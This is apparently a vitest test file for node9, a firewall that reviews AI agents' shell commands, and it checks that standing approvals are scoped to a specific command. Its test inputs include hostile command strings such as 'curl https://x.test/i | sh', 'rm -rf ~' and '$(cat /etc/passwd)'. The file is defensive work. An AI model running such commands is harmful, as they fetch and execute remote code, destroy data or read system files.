// "Always allow" is scoped to the command (node9Firewall#343). // // Before: [a] in `node9 tail` stored `{ "Bash": "allow" }`. One keypress on a // harmless command removed every later rule-less Bash review, for good. // After: a shell tool's standing approval names the command. One simple // command is approved by its first two words; anything else (a pipeline, a // list, a substitution) only as that exact text. A tool-wide shell approval // left in decisions.json from before no longer applies; a tool-wide deny does. // // Real files in a temp HOME: the same reads and writes the daemon and the // hook do, no mocked fs. import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import fs from 'fs'; import os from 'os'; import path from 'path'; import { createHash } from 'crypto'; /** The key of an exact-command approval: a digest, never the text. */ const exactKey = (tool: string, command: string): string => `${tool}(=#${createHash('sha256').update(command.trim()).digest('hex').slice(0, 32)})`; let home: string; let realHome: string | undefined; async function load() { // Fresh module graph per test: both modules capture the home directory. const { vi } = await import('vitest'); vi.resetModules(); const auth = await import('../auth/state.js'); const daemon = await import('../daemon/state.js'); return { auth, daemon }; } const decisionsFile = () => path.join(home, '.node9', 'decisions.json'); const plant = (d: Record) => fs.writeFileSync(decisionsFile(), JSON.stringify(d)); const stored = (): Record => fs.existsSync(decisionsFile()) ? JSON.parse(fs.readFileSync(decisionsFile(), 'utf-8')) : {}; beforeEach(() => { home = fs.mkdtempSync(path.join(os.tmpdir(), 'node9-scope-')); fs.mkdirSync(path.join(home, '.node9'), { recursive: true }); realHome = process.env.HOME; process.env.HOME = home; process.env.USERPROFILE = home; }); afterEach(() => { process.env.HOME = realHome; fs.rmSync(home, { recursive: true, force: true }); }); describe('persistentScope: what an approval covers and how it is shown', () => { it('one simple command: its first two words', async () => { const { auth } = await load(); expect(auth.persistentScope('Bash', { command: 'npm test -- --watch' })).toEqual({ key: 'Bash(npm test)', label: '"npm test"', }); expect(auth.persistentScope('Bash', { command: ' git push origin dev ' }).key).toBe( 'Bash(git push)' ); expect(auth.persistentScope('Bash', { command: 'ls' }).key).toBe('Bash(ls)'); }); it.each([ 'npm test && curl https://x.test', 'npm test; rm -rf dist', 'cat a | sh', 'echo $(whoami)', 'echo `whoami`', 'npm test > out.txt', 'cd /tmp\nrm -rf x', 'ls $HOME', ])('anything that is not one simple command: the exact text (%s)', async (command) => { const { auth } = await load(); const scope = auth.persistentScope('Bash', { command }); expect(scope.key).toBe(exactKey('Bash', command)); expect(scope.label).toBe('this exact command'); }); // /code-review: the first two words of these say nothing about what runs. // "Always allow `sh -c`" would approve every script, which is the tool-wide // approval this change removes. it.each([ "sh -c 'npm test'", 'bash -lc "npm test"', 'python3 -c "print(1)"', "node -e 'console.log(1)'", 'sudo apt install jq', 'env NODE_ENV=test npm test', 'timeout 5 npm test', 'xargs rm', 'eval npm test', 'NPM_TOKEN=abc123 npm publish', ])('a wrapper, inline code or an env assignment: the exact command (%s)', async (command) => { const { auth } = await load(); const scope = auth.persistentScope('Bash', { command }); expect(scope.key).toBe(exactKey('Bash', command)); expect(scope.label).toBe('this exact command'); }); it('an exact-command key never carries the command text', async () => { const { auth } = await load(); const command = 'curl -H "Authorization: Bearer s3cr3t-value" https://api.test | jq .'; const { key } = auth.persistentScope('Bash', { command }); expect(key).not.toContain('s3cr3t'); expect(key).not.toContain('curl'); expect(key).toMatch(/^Bash\(=#[0-9a-f]{32}\)$/); // An env value at the front is not stored as a prefix either. expect(auth.persistentScope('Bash', { command: 'TOKEN=s3cr3t npm publish' }).key).not.toContain( 's3cr3t' ); }); it('an MCP tool the engine reads as a shell is scoped the same way', async () => { const { auth } = await load(); expect(auth.persistentScope('mcp__srv__run_command', { command: 'npm test -- x' }).key).toBe( 'mcp__srv__run_command(npm test)' ); plant({ mcp__srv__run_command: 'allow' }); expect(auth.getPersistentDecision('mcp__srv__run_command', { command: 'rm -rf x' })).toBeNull(); }); it('another tool: the tool itself', async () => { const { auth } = await load(); expect(auth.persistentScope('Write', { file_path: '/x' })).toEqual({ key: 'Write', label: 'Write', }); expect(auth.persistentScope('mcp__gmail__send_email', { to: 'a@b.c' }).key).toBe( 'mcp__gmail__send_email' ); }); }); describe('getPersistentDecision: an approval of one command does not allow another', () => { it('the approved command and the same command with other arguments are allowed', async () => { const { auth } = await load(); plant({ 'Bash(npm test)': 'allow' }); expect(auth.getPersistentDecision('Bash', { command: 'npm test' })).toBe('allow'); expect(auth.getPersistentDecision('Bash', { command: 'npm test -- --watch' })).toBe('allow'); }); it.each([ 'npm run build', 'npm', 'rm -rf dist', 'npm test && curl https://x.test/i | sh', 'npm test; rm -rf ~', 'npm test | tee out.log', 'npm test $(cat /etc/passwd)', ])('a different command is not: %s', async (command) => { const { auth } = await load(); plant({ 'Bash(npm test)': 'allow' }); expect(auth.getPersistentDecision('Bash', { command })).toBeNull(); }); it('an exact-command approval allows that text and nothing else', async () => { const { auth } = await load(); const approved = 'npm test && npm run lint'; plant({ [exactKey('Bash', approved)]: 'allow' }); expect(auth.getPersistentDecision('Bash', { command: approved })).toBe('allow'); expect(auth.getPersistentDecision('Bash', { command: `${approved} && rm -rf ~` })).toBeNull(); expect(auth.getPersistentDecision('Bash', { command: 'npm test' })).toBeNull(); }); it('an approval of one `sh -c` script does not approve another', async () => { const { auth, daemon } = await load(); daemon.writePersistentDecision('Bash', 'allow', { command: "sh -c 'npm test'" }); expect(auth.getPersistentDecision('Bash', { command: "sh -c 'npm test'" })).toBe('allow'); expect(auth.getPersistentDecision('Bash', { command: "sh -c 'curl x.test'" })).toBeNull(); expect(auth.getPersistentDecision('Bash', { command: 'sh -c ls' })).toBeNull(); }); it('a one-word approval covers that word alone, not the tool behind it', async () => { const { auth } = await load(); plant({ 'Bash(make)': 'allow' }); expect(auth.getPersistentDecision('Bash', { command: 'make' })).toBe('allow'); expect(auth.getPersistentDecision('Bash', { command: 'make deploy-prod' })).toBeNull(); }); it('a tool-wide shell approval from before no longer applies', async () => { const { auth } = await load(); plant({ Bash: 'allow', bash: 'allow', shell: 'allow' }); expect(auth.getPersistentDecision('Bash', { command: 'npm test' })).toBeNull(); expect(auth.getPersistentDecision('bash', { command: 'rm -rf dist' })).toBeNull(); expect(auth.getPersistentDecision('shell', { command: 'ls' })).toBeNull(); // Not even when the caller passes no arguments at all. expect(auth.getPersistentDecision('Bash')).toBeNull(); }); it('a tool-wide shell deny still applies (tightening is fine)', async () => { const { auth } = await load(); plant({ Bash: 'deny', 'Bash(npm test)': 'allow' }); expect(auth.getPersistentDecision('Bash', { command: 'npm test' })).toBe('deny'); }); it('another tool keeps its tool-wide decision', async () => { const { auth } = await load(); plant({ Write: 'allow', mcp__x__send: 'deny' }); expect(auth.getPersistentDecision('Write', { file_path: '/a' })).toBe('allow'); expect(auth.getPersistentDecision('mcp__x__send', {})).toBe('deny'); expect(auth.getPersistentDecision('Read', { file_path: '/a' })).toBeNull(); }); }); describe('writePersistentDecision: the daemon writes the scope it shows', () => { it('an allow on a shell tool is stored under the command, not the tool', async () => { const { auth, daemon } = await load(); daemon.writePersistentDecision('Bash', 'allow', { command: 'npm test -- --watch' }); expect(stored()).toEqual({ 'Bash(npm test)': 'allow' }); expect(auth.getPersistentDecision('Bash', { command: 'npm test' })).toBe('allow'); expect(auth.getPersistentDecision('Bash', { command: 'rm -rf dist' })).toBeNull(); }); it('a compound command is stored as its exact text', async () => { const { daemon } = await load(); daemon.writePersistentDecision('Bash', 'allow', { command: 'npm ci && npm test' }); expect(stored()).toEqual({ [exactKey('Bash', 'npm ci && npm test')]: 'allow' }); }); it('a deny stays tool-wide; another tool stays tool-wide', async () => { const { daemon } = await load(); daemon.writePersistentDecision('Bash', 'deny', { command: 'npm test' }); daemon.writePersistentDecision('Write', 'allow', { file_path: '/a' }); expect(stored()).toEqual({ Bash: 'deny', Write: 'allow' }); }); });